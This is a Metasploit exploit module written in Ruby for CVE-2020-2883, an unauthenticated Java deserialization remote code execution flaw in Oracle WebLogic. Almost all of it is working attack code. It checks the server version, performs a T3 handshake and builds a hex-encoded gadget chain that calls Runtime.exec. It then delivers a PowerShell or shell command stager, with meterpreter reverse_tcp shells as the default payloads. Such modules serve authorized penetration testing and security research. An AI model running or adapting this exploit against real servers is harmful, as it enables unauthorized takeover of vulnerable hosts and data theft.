This Metasploit module exploits a Java object deserialization vulnerability in multiple versions of WebLogic. Unauthenticated remote code execution can be achieved by sending a serialized BadAttributeValueExpException object over the T3 protocol to vulnerable versions of WebLogic. Leveraging an ExtractorComparator enables the ability to trigger method.invoke(), which will execute arbitrary code.
70d9c90a8b31214d86ae1cb6e37b7167
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WebLogic Server Deserialization RCE BadAttributeValueExpException ExtComp',
'Description' => %q{
There exists a Java object deserialization vulnerability
in multiple versions of WebLogic.
Unauthenticated remote code execution can be achieved by
sending a serialized `BadAttributeValueExpException`
object over the T3 protocol to vulnerable versions of
WebLogic. Leveraging an `ExtractorComparator` enables
the ability to trigger `method.invoke()`, which will
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Quynh Le', # Vulnerability Discovery
'Y4er', # PoC
'Shelby Pace' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2020-2883' ],
[ 'URL', 'https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild' ],
],
'Platform' => %w[unix linux win],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Privileged' => false,
'Targets' =>
[
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
}
],
[
'Unix',
{
'Platform' => %w[unix linux],
'CmdStagerFlavor' => 'printf',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
],
'DisclosureDate' => '2020-04-30',
'DefaultTarget' => 0
)
)
register_options([ Opt::RPORT(7001) ])
end
def check
connect
web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"
sock.put(web_req)
sleep(2)
res = sock.get_once
versions =
[
Gem::Version.new('12.1.3.0.0'), Gem::Version.new('12.2.1.3.0'),
Gem::Version.new('12.2.1.4.0')
]
return CheckCode::Unknown('Failed to obtain response from service') unless res
/WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
return CheckCode::Unknown('Failed to detect WebLogic') unless version
@version_no = Gem::Version.new(version)
print_status("WebLogic version detected: #{@version_no}")
return CheckCode::Appears if versions.include?(@version_no)
CheckCode::Detected('Version of WebLogic is not vulnerable')
ensure
disconnect
end
def exploit
super
connect
print_status('Sending handshake...')
t3_handshake
if target.name == 'Windows'
win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })
win_obj.prepend('cmd.exe /c ')
win_obj = build_payload_obj(win_obj)
t3_send(win_obj)
else
execute_cmdstager
end
ensure
disconnect
end
def t3_handshake
# t3 12.2.1\nAS:255
# \nHL:19\nMS:100000
# 00\n\n
shake = '74332031322e322e310a41533a323535'
shake << '0a484c3a31390a4d533a313030303030'
shake << '30300a0a'
sock.put([shake].pack('H*'))
sleep(1)
sock.get_once
end
def build_payload_obj(payload_data)
payload_obj = 'aced0005' # STREAM_MAGIC, STREAM_VERSION
payload_obj << '73720017' # TC_OBJECT, TC_CLASSDESC, class name length: 23
payload_obj << '6a6176612e7574696c2e5072696f726974795175657565' # java.util.PriorityQueue
payload_obj << '94da30b4fb3f82b1' # SerialVersionUID
payload_obj << '030002' # 2 fields
payload_obj << '490004' # Integer, field name length: 4
payload_obj << '73697a65' # size
payload_obj << '4c000a' # Object, field name length: 10
payload_obj << '636f6d70617261746f72' # comparator
payload_obj << '740016' # String, field name length: 22
payload_obj << '4c6a6176612f7574696c2f436f6d70617261746f723b' # Ljava/util/Comparator;
payload_obj << '7870'
payload_obj << '00000002'
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
payload_obj << '0030' # Class name length: 48
payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e636f' # com.tangosol.util.comparator.ExtractorComparator
payload_obj << '6d70617261746f722e457874726163746f72436f'
payload_obj << '6d70617261746f72'
payload_obj << extractor_comp_uid # SerialVersionUID
payload_obj << '020001' # Serializable, 1 field
payload_obj << '4c000b' # Object, field name length: 11
payload_obj << '6d5f657874726163746f72' # m_extractor
payload_obj << '740022'
payload_obj << '4c636f6d2f74616e676f736f6c2f7574696c2f56' # Lcom/tangosol/util/ValueExtractor;
payload_obj << '616c7565457874726163746f723b'
payload_obj << '7870'
payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
payload_obj << '002c' # Class name length: 44
payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.ChainedExtractor
payload_obj << '74726163746f722e436861696e65644578747261'
payload_obj << '63746f72'
payload_obj << chained_extractor_uid # SerialVersionUID
payload_obj << '020000'
payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
payload_obj << '0036' # Class name length: 54
payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.AbstractCompositeExtractor
payload_obj << '74726163746f722e4162737472616374436f6d70'
payload_obj << '6f73697465457874726163746f72'
payload_obj << '086b3d8c05690f44' # SerialVersionUID
payload_obj << '020001' # Serializable, 1 field
payload_obj << '5b000c' # array, length: 12
payload_obj << '6d5f61457874726163746f72' # m_aExtractor
payload_obj << '740023' # String, length: 35
payload_obj << '5b4c636f6d2f74616e676f736f6c2f7574696c2f' # [Lcom/tangosol/util/ValueExtractor;
payload_obj << '56616c7565457874726163746f723b'
payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
payload_obj << '002d' # Class name length: 45
payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.AbstractExtractor
payload_obj << '74726163746f722e416273747261637445787472'
payload_obj << '6163746f72'
payload_obj << abstract_extractor_uid # SerialVersionUID
payload_obj << '020001' # Serializable, 1 field
payload_obj << '490009' # Integer, field name length: 9
payload_obj << '6d5f6e546172676574' # m_nTarget
payload_obj << '7870'
payload_obj << '00000000'
payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
payload_obj << '0023' # Class name length: 35
payload_obj << '5b4c636f6d2e74616e676f736f6c2e7574696c2e' # [Lcom.tangosol.util.ValueExtractor;
payload_obj << '56616c7565457874726163746f723b'
payload_obj << '2246204735c4a0fe' # SerialVersionUID
payload_obj << '020000'
payload_obj << '7870'
payload_obj << '00000003'
payload_obj << '7372'
payload_obj << '002f' # Class name length: 47
payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.ReflectionExtractor
payload_obj << '74726163746f722e5265666c656374696f6e4578'
payload_obj << '74726163746f72'
payload_obj << reflection_extractor_uid # SerialVersionUID
payload_obj << '02000' # Serializable
payload_obj << reflect_extract_count
payload_obj << '5b0009' # array, length: 9
payload_obj << '6d5f616f506172616d' # m_aoParam
payload_obj << '740013' # String, length: 19
payload_obj << '5b4c6a6176612f6c616e672f4f626a6563743b' # [Ljava/lang/Object;
payload_obj << add_sect
payload_obj << '4c0009' # Object, length: 9
payload_obj << '6d5f734d6574686f64' # m_sMethod
payload_obj << '740012' # String, length: 18
payload_obj << '4c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE
payload_obj << '007e0009' # handle
payload_obj << '00000000'
payload_obj << '7572'
payload_obj << '0013' # Class name length: 19
payload_obj << '5b4c6a6176612e6c616e672e4f626a6563743b' # [Ljava.lang.Object;
payload_obj << '90ce589f1073296c' # SerialVersionUID
payload_obj << '020000'
payload_obj << '7870'
payload_obj << '00000002'
payload_obj << '74000a' # String, length: 10
payload_obj << '67657452756e74696d65' # getRuntime
payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
payload_obj << '0012' # Class name length: 18
payload_obj << '5b4c6a6176612e6c616e672e436c6173733b' # [Ljava.lang.Class;
payload_obj << 'ab16d7aecbcd5a99' # SerialVersionUID
payload_obj << '020000' # Serializable, no fields
payload_obj << '7870'
payload_obj << '00000000'
payload_obj << add_tc_null
payload_obj << '740009' # String, length: 9
payload_obj << '6765744d6574686f64' # getMethod
payload_obj << '7371'
payload_obj << '007e000d' # handle
payload_obj << '00000000'
payload_obj << '7571'
payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle
payload_obj << '00000002'
payload_obj << '707571'
payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle
payload_obj << '00000000'
payload_obj << add_tc_null
payload_obj << '740006' # String, length: 6
payload_obj << '696e766f6b65' # invoke
payload_obj << '7371'
payload_obj << '007e000d' # handle
payload_obj << '00000000'
payload_obj << '7571'
payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle
payload_obj << '00000001'
payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
payload_obj << '0013' # Class name length: 19
payload_obj << '5b4c6a6176612e6c616e672e537472696e673b' # [Ljava.lang.String;
payload_obj << 'add256e7e91d7b47' # SerialVersionUID
payload_obj << '020000'
payload_obj << '7870'
payload_obj << '00000003'
payload_bin = format_payload(payload_data)
payload_obj << payload_bin
payload_obj << add_tc_null
payload_obj << '740004'
payload_obj << '65786563' # exec
payload_obj << '7704'
payload_obj << '00000003'
payload_obj << '76720011'
payload_obj << '6a6176612e6c616e672e52756e74696d65' # java.lang.Runtime
payload_obj << '0000000000000000000000'
payload_obj << '7870'
payload_obj << '740001'
payload_obj << '3178'
end
def extractor_comp_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'c7ad6d3a676f3c18'
when Gem::Version.new('12.2.1.3.0')
'fb4ac83df1d72edc'
else
'f9b3bc58cc52cd21'
end
end
def change_handle?
@version_no == Gem::Version.new('12.2.1.3.0')
end
def chained_extractor_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'889f81b0945d5b7f'
when Gem::Version.new('12.2.1.3.0')
'06ee10433a4cc4b4'
else
'435b250b72f63db5'
end
end
def abstract_extractor_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'658195303e723821'
when Gem::Version.new('12.2.1.3.0')
'752289ad4d460138'
else
'9b1be18ed70100e5'
end
end
def reflection_extractor_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'ee7ae995c02fb4a2'
when Gem::Version.new('12.2.1.3.0')
'87973791b26429dd'
else
'1f62f564b951b614'
end
end
def reflect_extract_count
case @version_no
when Gem::Version.new('12.2.1.3.0')
'3'
else
'2'
end
end
def add_sect
sect = ''
if @version_no == Gem::Version.new('12.2.1.3.0')
sect << '4c0011' # Object, length: 17
sect << '6d5f657874726163746f' # m_extractorCached
sect << '72436163686564'
sect << '740012'
sect << '4c6a6176612f6c616e67' # Ljava/lang/Object;
sect << '2f4f626a6563743b'
end
sect
end
def add_tc_null
return '70' if @version_no == Gem::Version.new('12.2.1.3.0')
''
end
def t3_send(payload_obj)
print_status('Sending object...')
request_obj = '000009f3' # Original packet length
request_obj << '016501' # CMD_IDENTIFY_REQUEST, flags
request_obj << 'ffffffffffffffff'
request_obj << '00000071'
request_obj << '0000ea60'
request_obj << '00000018432ec6'
request_obj << 'a2a63985b5af7d63e643'
request_obj << '83f42a6d92c9e9af0f94'
request_obj << '72027973720078720178'
request_obj << '720278700000000c0000'
request_obj << '00020000000000000000'
request_obj << '00000001007070707070'
request_obj << '700000000c0000000200'
request_obj << '00000000000000000000'
request_obj << '01007006'
request_obj << 'fe010000' # separator
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
request_obj << '001d' # Class name length: 29
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
request_obj << '6a766d2e436c61737354'
request_obj << '61626c65456e747279'
request_obj << '2f52658157f4f9ed' # SerialVersionUID
request_obj << '0c0000' # flags?
request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
request_obj << '0024' # Class name length: 36
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5061636b61'
request_obj << '6765496e666f'
request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
request_obj << '020009' # Serializable, 9 fields
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d616a6f72' # major
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d696e6f72' # minor
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '70617463685570646174' # patchUpdate
request_obj << '65'
request_obj << '49000c' # Field type: Int, field name length: 12
request_obj << '726f6c6c696e67506174' # rollingPatch
request_obj << '6368'
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '73657276696365506163' # servicePack
request_obj << '6b'
request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
request_obj << '74656d706f7261727950' # temporaryPatch
request_obj << '61746368'
request_obj << '4c0009' # Field type: Object, field name length: 9
request_obj << '696d706c5469746c65' # implTitle
request_obj << '740012' # String, length: 18
request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
request_obj << '2f537472696e673b'
request_obj << '4c000a' # Field type: Object, field name length: 10
request_obj << '696d706c56656e646f72' # implVendor
request_obj << '71007e0003' # TC_REFERENCE, handle
request_obj << '4c000b' # Field type: Object, field name length: 11
request_obj << '696d706c56657273696f6e' # implVersion
request_obj << '71007e0003' # TC_REFERENCE, handle
request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
request_obj << '7702' # TC_ENDBLOCKDATA
request_obj << '000078'
request_obj << 'fe010000' # separator
request_obj << payload_obj
request_obj << 'fe010000' # separator
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
request_obj << '001d' # Class name length: 29
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
request_obj << '6a766d2e436c61737354'
request_obj << '61626c65456e747279'
request_obj << '2f52658157f4f9ed' # SerialVersionUID
request_obj << '0c0000'
request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
request_obj << '0021' # Class name length: 33
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PeerInfo
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5065657249'
request_obj << '6e666f'
request_obj << '585474f39bc908f1' # SerialVersionUID
request_obj << '020007' # Serializable, 7 fields
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d616a6f72' # major
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d696e6f72' # minor
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '70617463685570646174' # patchUpdate
request_obj << '65'
request_obj << '49000c' # Field type: Int, field name length: 12
request_obj << '726f6c6c696e67506174' # rollingPatch
request_obj << '6368'
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '73657276696365506163' # servicePack
request_obj << '6b'
request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
request_obj << '74656d706f7261727950' # temporaryPatch
request_obj << '61746368'
request_obj << '5b0008' # Field type: Array, field name length: 8
request_obj << '7061636b61676573' # packages
request_obj << '740027' # String, length: 39
request_obj << '5b4c7765626c6f676963' # [Lweblogic/common/internal/PackageInfo;
request_obj << '2f636f6d6d6f6e2f696e'
request_obj << '7465726e616c2f506163'
request_obj << '6b616765496e666f3b'
request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
request_obj << '0024' # Class name length: 36
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.VersionInfo
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5665727369'
request_obj << '6f6e496e666f'
request_obj << '972245516452463e' # SerialVersionUID
request_obj << '020003' # Serializable, 3 fields
request_obj << '5b0008' # Field type: Array, field name length: 8
request_obj << '7061636b61676573' # packages
request_obj << '71007e0003' # TC_REFERENCE, handle
request_obj << '4c000e' # Field type: Object, field name length: 14
request_obj << '72656c65617365566572' # releaseVersion
request_obj << '73696f6e'
request_obj << '740012' # String, length: 18
request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
request_obj << '2f537472696e673b'
request_obj << '5b0012' # Field type: Array, field name length: 18
request_obj << '76657273696f6e496e66' # versionInfoAsBytes
request_obj << '6f41734279746573'
request_obj << '740002' # String, length: 2
request_obj << '5b42' # [B
request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
request_obj << '0024' # Class name length: 36
request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5061636b61'
request_obj << '6765496e666f'
request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
request_obj << '020009' # Serializable, 9 fields
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d616a6f72' # major
request_obj << '490005' # Field type: Int, field name length: 5
request_obj << '6d696e6f72' # minor
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '70617463685570646174' # patchUpdate
request_obj << '65'
request_obj << '49000c' # Field type: Int, field name length: 12
request_obj << '726f6c6c696e67506174' # rollingPatch
request_obj << '6368'
request_obj << '49000b' # Field type: Int, field name length: 11
request_obj << '73657276696365506163' # servicePack
request_obj << '6b'
request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
request_obj << '74656d706f7261727950' # temporaryPatch
request_obj << '61746368'
request_obj << '4c0009' # Field type: Object, field name length: 9
request_obj << '696d706c5469746c65' # implTitle
request_obj << '71007e0005' # TC_REFERENCE, handle
request_obj << '4c000a' # Field type: Object, field name length: 10
request_obj << '696d706c56656e646f72' # implVendor
request_obj << '71007e0005' # TC_REFERENCE, handle
request_obj << '4c000b' # Field type: Object, field name length: 11
request_obj << '696d706c56657273696f' # implVersion
request_obj << '6e'
request_obj << '71007e0005' # TC_REFERENCE, handle
request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
request_obj << '7702000078' # TC_BLOCKDATA, 2 bytes, TC_ENDBLOCKDATA
request_obj << 'fe00ff' # separator
request_obj << 'fe010000'
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
request_obj << '0013' # Class name length: 19
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
request_obj << '6a766d2e4a564d4944'
request_obj << 'dc49c23ede121e2a' # SerialVersionUID
request_obj << '0c0000'
request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
request_obj << '4621'
request_obj << '000000000000000000'
request_obj << '09' # length: 9
request_obj << '3132372e302e312e31' # 127.0.1.1
request_obj << '000b' # length: 11
request_obj << '75732d6c2d627265656e' # us-l-breens
request_obj << '73'
request_obj << 'a53caff10000000700'
request_obj << '001b59'
request_obj << 'ffffffffffffffffffff'
request_obj << 'ffffffffffffffffffff'
request_obj << 'ffffffff'
request_obj << '0078'
request_obj << 'fe010000' # separator
request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
request_obj << '0013' # Class name length: 19
request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
request_obj << '6a766d2e4a564d4944'
request_obj << 'dc49c23ede121e2a' # SerialVersionUID
request_obj << '0c0000'
request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
request_obj << '1d0181401281'
request_obj << '34bf427600093132372e'
request_obj << '302e312e31a53caff1'
request_obj << '000000000078'
new_len = (request_obj.length / 2).to_s(16).rjust(8, '0')
request_obj[0, 8] = new_len
sock.put([request_obj].pack('H*'))
sleep(1)
end
def format_payload(payload_cmd)
print_status('Formatting payload...')
payload_arr = payload_cmd.split(' ', 3)
formatted_payload = ''
payload_arr.each do |part|
formatted_payload << '74' # denotes a string
formatted_payload << part.length.to_s(16).rjust(4, '0')
formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
formatted_payload
end
def execute_command(cmd, _opts = {})
cmd.prepend('/bin/sh -c ')
cmd = build_payload_obj(cmd)
t3_send(cmd)
end
end